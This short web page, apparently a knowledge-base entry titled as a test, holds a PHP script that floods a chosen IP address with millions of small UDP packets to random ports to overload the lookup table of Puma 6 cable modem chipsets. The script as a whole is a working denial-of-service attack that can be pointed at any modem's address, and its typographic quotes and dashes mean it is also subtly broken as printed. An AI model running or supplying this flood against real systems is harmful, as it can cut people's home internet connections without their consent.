< All Topics
Print

Test cable modem Puma 6 chipset script

<?php

//test puma 6 chipset lookup table overload

$host = ‘A.B.C.D’;
$pps = 5000;
$tune = 125;

$sock = socket_create( AF_INET, SOCK_DGRAM, SOL_UDP );
$uslp = (1000000 / $pps) – $tune;

if( $uslp < 0 )
$uslp = 0;

for( $i = 6500000; $i > 0; $i– )
{
$port = rand( 1025, 65535 );
socket_sendto( $sock, ‘LUT2’, 4, 0, $host, $port );
usleep( $uslp );
}

?>

Skip to content